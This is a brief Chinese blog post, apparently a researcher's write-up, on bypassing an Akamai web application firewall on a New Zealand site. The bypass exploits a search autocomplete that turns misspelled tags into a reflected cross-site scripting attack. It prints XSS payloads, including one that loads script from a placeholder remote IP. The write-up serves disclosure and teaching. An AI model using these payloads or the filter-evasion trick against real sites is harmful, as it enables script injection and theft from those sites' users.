通过自动补全绕过 Web 应用防火墙(WAF)

几个月前,在查看一个受欢迎的新西兰网站时,发现其搜索功能在与搜索框交互时会查询此端点来获取搜索结果,如<snip>/ViewSuggestSearch-Suggest&SearchTerm=tshirt,返回包含搜索建议的 HTML 代码,如<div class="suggest-results-list search-spring">等。
尝试注入 HTML 标签<h1>HACKS?!</h1>,输入被反射且未被净化,意识到可能获取 JavaScript 执行等权限。接着注入<script>alert(document.domain)</script>,被网站的 Web 应用防火墙(WAF)拦截,该公司安装了 Akamai 的‘Kona Site Defender’。
回顾首次注入尝试,发现“HACKS”被改为“hack”,可能是由于自动补全功能,这或可用于绕过 WAF。尝试“<script>”被拦截,改为“<scripr>”(“script”的拼写错误),发现 WAF 未拦截,且自动补全不喜欢第二个单词后接“>”,添加“/”后仍未被拦截,又因 WAF 不喜欢“alert(”,改用“alertt(”,最终成功绕过 WAF 并弹出警告框,如<scripr/src="//<remote-ip>/"></scripr/>(ip 地址比域名更容易绕过)。此发现展示了如何利用这类转换来绕过 WAF 和过滤器。

阅读 12
0 条评论